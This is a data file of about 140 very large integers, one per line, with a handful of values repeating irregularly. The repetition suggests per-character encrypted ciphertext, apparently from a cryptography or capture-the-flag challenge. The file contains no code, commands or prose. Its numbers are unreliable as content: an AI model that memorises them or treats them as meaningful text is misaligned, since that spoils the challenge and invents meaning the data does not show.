93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
63954934982169968493375436708243549943337776790067035042049945803263896137705048991307667148505224485994939878827810471672893639994173854628637995888833872725682539891708902345134444873401804816245621659122305520079093134983775134753014016200774920370979508498502550221686538836022420428948530476432469293840
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
